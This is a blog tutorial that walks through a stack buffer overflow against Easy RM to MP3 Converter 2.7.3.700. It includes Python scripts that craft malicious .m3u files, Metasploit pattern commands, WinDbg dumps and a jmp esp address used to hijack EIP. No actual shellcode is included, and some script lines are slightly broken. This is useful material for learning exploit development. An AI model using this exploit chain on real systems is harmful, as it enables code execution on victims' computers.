Thursday, January 25, 2018

Beginning Windows Exploit Development - Stack Based (local) Buffer Overflows

This series of posts are based on me looking at expanding my knowledge on Windows Exploit Development. This first post is based on understanding Stack Based Buffer Overflows from the Windows perspective and exploiting same.

Before we get started, I must state clearly that this information is based on the guidance provided from corelan.be website as shown in the references section.

For some folks reading my material may be easier, for others reading the material from Corelan will be easier. Whichever you choose, please note that this is all based on the guidance provided by those folks and thus nothing here is my original work.

Now that the attribution stuff is out of the way, let's get going.

Like the blog I'm using the vulnerable app "Easy RM to MP3 converter version 2.7.3.700".

This app is vulnerable to a buffer overflow, so the first thing to figure out is where it crashed.

Using the python code below we can test the vulnerability.

First up is to check with a ".m3u" file with 3000 bytes of data. In this case we will use all "A"s.

Here is the first sample code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
def Exploit():
 # print('In Exploit')
 crash_file = 'EasryRM_Crash.m3u'
 tmp_pattern = '\x41' * 10000

 fp = open(crash_file, 'wb')
 fp.write(tmp_pattern)
 fp.close()
 print('Created file {!s}'.format(crash_file))


if __name__ == '__main__':
 Exploit()


When this code is run in Easy RM, we see the following results:










Let's now expand this by moving up to 50,000 bytes to see if this makes a difference. To do this we will modify the code with the following:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
def Exploit():
 # print('In Exploit')
 crash_file = 'EasryRM_Crash.m3u'
 tmp_pattern = '\x41' * 50000

 fp = open(crash_file, 'wb')
 fp.write(tmp_pattern)
 fp.close()
 print('Created file {!s}'.format(crash_file))


if __name__ == '__main__':
 Exploit()

When the file "EasryRM_Crash.m3u" is fed to Easy RM, the program crashed and disappeared.

Now it's time to learn why it crashed and how we can exploit it.

Based on what we know, the program has crashed. However, we need to figure out where exactly the crashed occurred. To help us out with this, let's leverage Metasploit.

Metasploit has a tool called "pattern_create.rb" which will allow us to generate a pattern and then use "pattern_offset.rb" to figure out the offset in the payload at which we overwrite the EIP or crashed the program.

Executing pattern_create:
./pattern_create.rb --length 50000 > easyRM-pattern.m3u

The above generated pattern is then added to the code and then the script is executed to create the ".m3u" file

Next up, we load WinDbg and "attach" to the process "RM2MP3Converter.exe"

Once we have attached to the process, we next specify "g" to continue, in the input window of WinDbg.

Once we are continue, we then feed the file "easyRM-pattern.m3u" to Easy RM. At this point the program crashes with our registers looking as follows:

1
2
3
4
5
6
7
(43c.440): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00104a58 ecx=7c91003d edx=00000004 esi=77c5fce0 edi=0000c351
eip=53317a53 esp=000ff730 ebp=00334360 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
53317a53 ??              ???

At this point, our concern is the value in the EIP register. Currently this is "eip=53317a53". Important at this point is to remember that this value is in little endian and thus has to be reversed. Thus our pattern value to provide to Metasploit's "pattern_offset.rb" is "537a3153".

When using WinDbg ".formats" command to convert the the string. We see below the "Chars" value is "Sz1S" as shown below


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
0:000> .formats 537a3153
Evaluate expression:
  Hex:     537a3153
  Decimal: 1400516947
  Octal:   12336430523
  Binary:  01010011 01111010 00110001 01010011
  Chars:   Sz1S
  Time:    Mon May 19 12:29:07 2014
  Float:   low 1.07457e+012 high 0
  Double:  6.91947e-315

When we feed "Sz1S" to "pattern_offset.rb" we get the following:

./pattern_offset.rb --query Sz1S --length 50000

This resulted in:
[*] Exact match at offset 14793
[*] Exact match at offset 35073

From the looks of it, we have two offsets where this pattern was found. Let's focus on the "35073". Therefore, let's now rewrite our code, using "35073" "A"s followed by "BBBB" or hex 42424242, then follow this with some "C"s or hex 43434343.

Our new code now looks like:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
def Exploit():
 # print('In Exploit')
 crash_file = 'EasryRM_Crash.m3u'
 tmp_pattern = '\x41' * 35073 + '\x42\x42\x42\x42' + '\x43' * 1000

 fp = open(crash_file, 'wb')
 fp.write(tmp_pattern)
 fp.close()
 print('Created file {!s}'.format(crash_file))


if __name__ == '__main__':
 Exploit()
 

Once we attach to the process with WinDbg similar to what we did before and feed the file to Easy RM, we get:


1
2
3
4
5
6
7
(2c4.540): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00104a58 ecx=7c91003d edx=00000004 esi=77c5fce0 edi=00008ced
eip=42424242 esp=000ff730 ebp=00334130 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
42424242 ??              ???

At this point we can see that we have overwritten EIP with 42424242. Looks like we are now in the position to control the program execution.

At this point we need to identify space to host our "exploit" code. Considering we have 1000 bytes of "\x43" or Cs somewhere in memory, let's see if we can find those values by dumping the registers using the "r" command to first print the registers information.

After dumping the registers, our "\x43" or Cs were found in the ESP. 

1
2
3
4
5
6
7
8
9
0:000> d esp
000ff730  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ff740  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ff750  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ff760  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ff770  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ff780  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ff790  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ff7a0  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC

Changing the numbering system to base 10 from base 16 via "n 10" and then dumping the first 1000 bytes of ESP looking for our 1000 bytes of "\x43" or Cs we get the following:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
0:000> d esp l1000
000ff730  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ff740  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ff750  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ff760  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ff770  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ff780  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ff790  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ff7a0  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ff7b0  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ff7c0  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ff7d0  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ff7e0  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ff7f0  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ff800  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ff810  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ff820  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ff830  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ff840  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ff850  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ff860  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ff870  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ff880  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ff890  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ff8a0  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ff8b0  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ff8c0  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ff8d0  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ff8e0  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ff8f0  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ff900  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ff910  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ff920  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ff930  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ff940  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ff950  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ff960  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ff970  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ff980  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ff990  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ff9a0  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ff9b0  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ff9c0  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ff9d0  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ff9e0  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ff9f0  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ffa00  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ffa10  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ffa20  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ffa30  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ffa40  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ffa50  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ffa60  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ffa70  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ffa80  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ffa90  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ffaa0  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ffab0  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ffac0  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ffad0  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ffae0  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ffaf0  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ffb00  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ffb10  43 43 43 43 00 41 41 41                          CCCC.AAA  


If we subtract the address of the last "\x41" or C (000ffb13) from the address which is (000ff730) we get a difference of 995 bytes.

000ffb13 - 000ff730 = 3E3 (995)

At this point it seems we we are about 5 bytes short of our 1000 bytes of "\x41" or C's.

Using Corelan Team's guidance, let's generate a pattern again, using "pattern_create.rb" to identify how far in on the ESP we are starting.


1
2
./pattern_create.rb --length 512
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar'

Feed this pattern back to the script as shown below:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
def Exploit():
 # print('In Exploit')
 crash_file = 'EasryRM_Crash.m3u'
 tmp_pattern = '\x41' * 35073 + '\x42\x42\x42\x42' + 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar'
'

 fp = open(crash_file, 'wb')
 fp.write(tmp_pattern)
 fp.close()
 print('Created file {!s}'.format(crash_file))


if __name__ == '__main__':
 Exploit()

Then feeding the generated file back to Easy RM, then looking at the ESP register we see:

1
2
3
4
5
6
7
8
9
0:000> d esp
000ff730  61 31 41 61 32 41 61 33-41 61 34 41 61 35 41 61  a1Aa2Aa3Aa4Aa5Aa
000ff740  36 41 61 37 41 61 38 41-61 39 41 62 30 41 62 31  6Aa7Aa8Aa9Ab0Ab1
000ff750  41 62 32 41 62 33 41 62-34 41 62 35 41 62 36 41  Ab2Ab3Ab4Ab5Ab6A
000ff760  62 37 41 62 38 41 62 39-41 63 30 41 63 31 41 63  b7Ab8Ab9Ac0Ac1Ac
000ff770  32 41 63 33 41 63 34 41-63 35 41 63 36 41 63 37  2Ac3Ac4Ac5Ac6Ac7
000ff780  41 63 38 41 63 39 41 64-30 41 64 31 41 64 32 41  Ac8Ac9Ad0Ad1Ad2A
000ff790  00 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  .AAAAAAAAAAAAAAA
000ff7a0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

From above, since our first byte is "a1" followed by "Aa" and we know our pattern starts with "Aa" followed by "0A". This means we are 5 bytes in. Similarly to Corelan's demonstration also, we have part of our As on the stack. Maybe somewhere for us to store our "exploit" code.

Similarly to Corelan, let's verify now that we can get to the beginning of the stack by prepending 4 characters. Let's use 4 Ds or hex "\x44".

Adjusting the script we get:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
def Exploit():
 # print('In Exploit')
 crash_file = 'EasryRM_Crash.m3u'
 tmp_pattern = '\x41' * 35073 + '\x42\x42\x42\x42' + '\x44\x44\x44\x44' + 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar'
'

 fp = open(crash_file, 'wb')
 fp.write(tmp_pattern)
 fp.close()
 print('Created file {!s}'.format(crash_file))


if __name__ == '__main__':
 Exploit()
 

Attaching to the Easy RM process again and feeding the file to the application. Looking at the ESP register again, we see:

1
2
3
4
5
6
7
8
9
0:000> d esp
000ff730  41 61 30 41 61 31 41 61-32 41 61 33 41 61 34 41  Aa0Aa1Aa2Aa3Aa4A
000ff740  61 35 41 61 36 41 61 37-41 61 38 41 61 39 41 62  a5Aa6Aa7Aa8Aa9Ab
000ff750  30 41 62 31 41 62 32 41-62 33 41 62 34 41 62 35  0Ab1Ab2Ab3Ab4Ab5
000ff760  41 62 36 41 62 37 41 62-38 41 62 39 41 63 30 41  Ab6Ab7Ab8Ab9Ac0A
000ff770  63 31 41 63 32 41 63 33-41 63 34 41 63 35 41 63  c1Ac2Ac3Ac4Ac5Ac
000ff780  36 41 63 37 41 63 38 41-63 39 41 64 30 41 64 31  6Ac7Ac8Ac9Ad0Ad1
000ff790  41 64 32 41 00 41 41 41-41 41 41 41 41 41 41 41  Ad2A.AAAAAAAAAAA
000ff7a0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

Awesome!! it looks like our pattern now matches as we are now pointing directly to it on the stack via the ESP register.

Now from what Corelan Team tells us, we know that jumping to memory address is not that reliable. So let's leverage one of the DLLs that jumps to ESP to assist us.

First we need to figure out the opcode for "jmp esp". To do this we access Easy RM via the debugger.

First up we need to enter "a" to assemble in the debugger:

1
2
3
4
5
6
7
0:010> a
7c90120e jmp esp

0:010> u
ntdll!DbgBreakPoint:
7c90120e ffe4            jmp     esp
7c901210 ffe4            jmp     esp

From above, we see the opcode for "jmp esp" is "ff e4"

Next up is to find one or more DLLs that uses this opcode. We will leverage DLLs which are part of the application natively rather than those which are part of windows. My understanding is it is better to do this at is more reliable across Windows versions.

When we initially attached to the Easy RM process, there were a number of DLLs which are associated directly with the application. Specifically, they are:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
Executable search path is: 
ModLoad: 00400000 004be000   C:\Program Files\Easy RM to MP3 Converter\RM2MP3Converter.exe
....
ModLoad: 10000000 10071000   C:\Program Files\Easy RM to MP3 Converter\MSRMfilter03.dll
....
ModLoad: 00ab0000 00b4f000   C:\Program Files\Easy RM to MP3 Converter\MSRMfilter01.dll
ModLoad: 01860000 018d1000   C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec00.dll
ModLoad: 003f0000 003f7000   C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec01.dll
ModLoad: 018e0000 01dad000   C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll
....
ModLoad: 01fd0000 01fee000   C:\Program Files\Easy RM to MP3 Converter\wmatimer.dll
....
ModLoad: 02010000 02020000   C:\Program Files\Easy RM to MP3 Converter\MSRMfilter02.dll
ModLoad: 02230000 02242000   C:\Program Files\Easy RM to MP3 Converter\MSLog.dll
....

Searching through the above, it was found that "MSRMfilter01.dll", "MSRMCcodec00.dll", "MSRMCcodec01.dll", "MSRMCcodec02.dll" and "wmatimer.dll" contain "jmp esp"

Sticking with the Corelan example, we see:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
0:010> s 018e0000 l 01dad000  ff e4
01a9f23a  ff e4 ff 8d 4e 10 c7 44-24 10 ff ff ff ff e8 f3  ....N..D$.......
01ad023f  ff e4 fb 4d 1b a6 9c ff-ff 54 a2 ea 1a d9 9c ff  ...M.....T......
01aed3db  ff e4 ca ab 01 20 05 93-19 09 00 00 00 00 d4 ae  ..... ..........
01b0b22a  ff e4 07 07 f2 01 57 f2-5d 1c d3 e8 09 22 d5 d0  ......W.]...."..
01b0b72d  ff e4 09 7d e4 ad 37 df-e7 cf 25 23 c9 a0 4a 26  ...}..7...%#..J&
01b0cd89  ff e4 03 35 f2 82 6f d1-0c 4a e4 19 30 f7 b7 bf  ...5..o..J..0...
01b15c9e  ff e4 5c 2e 95 bb 16 16-79 e7 8e 15 8d f6 f7 fb  ..\.....y.......
01b203d9  ff e4 17 b7 e3 77 31 bc-b4 e7 68 89 bb 99 54 9d  .....w1...h...T.
01b21400  ff e4 cc 38 25 d1 71 44-b4 a3 16 75 85 b9 d0 50  ...8%.qD...u...P
01b2736d  ff e4 17 b7 e3 77 31 bc-b4 e7 68 89 bb 99 54 9d  .....w1...h...T.
01b2ce34  ff e4 cc 38 25 d1 71 44-b4 a3 16 75 85 b9 d0 50  ...8%.qD...u...P
01b30159  ff e4 17 b7 e3 77 31 bc-b4 e7 68 89 bb 99 54 9d  .....w1...h...T.
01b32ec0  ff e4 cc 38 25 d1 71 44-b4 a3 16 75 85 b9 d0 50  ...8%.qD...u...P
01fe135b  ff e4 49 fd 01 e8 49 fd-01 00 00 00 00 ff ff ff  ..I...I.........

Picking the address "01aed3db" and providing it to our code as shown below:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import struct

def Exploit():
 # print('In Exploit')
 shellcode = ('Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar')
 
 crash_file = 'EasryRM_Crash.m3u'
 tmp_pattern = '\x41' * 35073 + '\x42\x42\x42\x42' + struct.pack('<l', 0x01aed3db) + '\x45\x45\x45\x45' + shellcode

 junk_code = '\x41' * 35073
 eip_register = struct.pack('<l',0x01aed3db)
 more_junk = '\x44\x44\x44\x44'
 exploit_code = '\x90' * 25
 cc_break = '\xcc'

 fp = open(crash_file, 'wb')
 fp.write(tmp_pattern)
 #fp.write(junk_code + eip_register + exploit_code + cc_break + exploit_code)
 fp.close()
 print('Created file {!s}'.format(crash_file))


if __name__ == '__main__':
 Exploit()

Feeding the newly created file to Easy RM, we see


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
5c4.18c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00104a58 ecx=7c91003d edx=00000004 esi=77c5fce0 edi=00008b0d
eip=01aed3db esp=000ff730 ebp=00334130 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
*** WARNING: Unable to verify checksum for C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll - 
MSRMCcodec02!CAudioOutWindows::WaveOutWndProc+0xca18b:
01aed3db 0000            add     byte ptr [eax],al          ds:0023:00000001=??

Looks like EIP successfully pointed to the address "01aed3db" which relates to our "jmp esp"

Let's now take a look at our stack to see if our pattern is still in place


1
2
3
4
5
6
7
8
9
0:000> d esp
000ff730  41 61 30 41 61 31 41 61-32 41 61 33 41 61 34 41  Aa0Aa1Aa2Aa3Aa4A
000ff740  61 35 41 61 36 41 61 37-41 61 38 41 61 39 41 62  a5Aa6Aa7Aa8Aa9Ab
000ff750  30 41 62 31 41 62 32 41-62 33 41 62 34 41 62 35  0Ab1Ab2Ab3Ab4Ab5
000ff760  41 62 36 41 62 37 41 62-38 41 62 39 41 63 30 41  Ab6Ab7Ab8Ab9Ac0A
000ff770  63 31 41 63 32 41 63 33-41 63 34 41 63 35 41 63  c1Ac2Ac3Ac4Ac5Ac
000ff780  36 41 63 37 41 63 38 41-63 39 41 64 30 41 64 31  6Ac7Ac8Ac9Ad0Ad1
000ff790  41 64 32 41 64 33 41 64-34 41 64 35 41 64 36 41  Ad2Ad3Ad4Ad5Ad6A
000ff7a0  64 37 41 64 38 41 64 39-41 65 30 41 65 31 41 65  d7Ad8Ad9Ae0Ae1Ae


Looks good.

However, is our full pattern there? Let's verify

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
0:000> n 10
base is 10
0:000> d esp l 512
000ff730  41 61 30 41 61 31 41 61-32 41 61 33 41 61 34 41  Aa0Aa1Aa2Aa3Aa4A
000ff740  61 35 41 61 36 41 61 37-41 61 38 41 61 39 41 62  a5Aa6Aa7Aa8Aa9Ab
000ff750  30 41 62 31 41 62 32 41-62 33 41 62 34 41 62 35  0Ab1Ab2Ab3Ab4Ab5
000ff760  41 62 36 41 62 37 41 62-38 41 62 39 41 63 30 41  Ab6Ab7Ab8Ab9Ac0A
000ff770  63 31 41 63 32 41 63 33-41 63 34 41 63 35 41 63  c1Ac2Ac3Ac4Ac5Ac
000ff780  36 41 63 37 41 63 38 41-63 39 41 64 30 41 64 31  6Ac7Ac8Ac9Ad0Ad1
000ff790  41 64 32 41 64 33 41 64-34 41 64 35 41 64 36 41  Ad2Ad3Ad4Ad5Ad6A
000ff7a0  64 37 41 64 38 41 64 39-41 65 30 41 65 31 41 65  d7Ad8Ad9Ae0Ae1Ae
000ff7b0  32 41 65 33 41 65 34 41-65 35 41 65 36 41 65 37  2Ae3Ae4Ae5Ae6Ae7
000ff7c0  41 65 38 41 65 39 41 66-30 41 66 31 41 66 32 41  Ae8Ae9Af0Af1Af2A
000ff7d0  66 33 41 66 34 41 66 35-41 66 36 41 66 37 41 66  f3Af4Af5Af6Af7Af
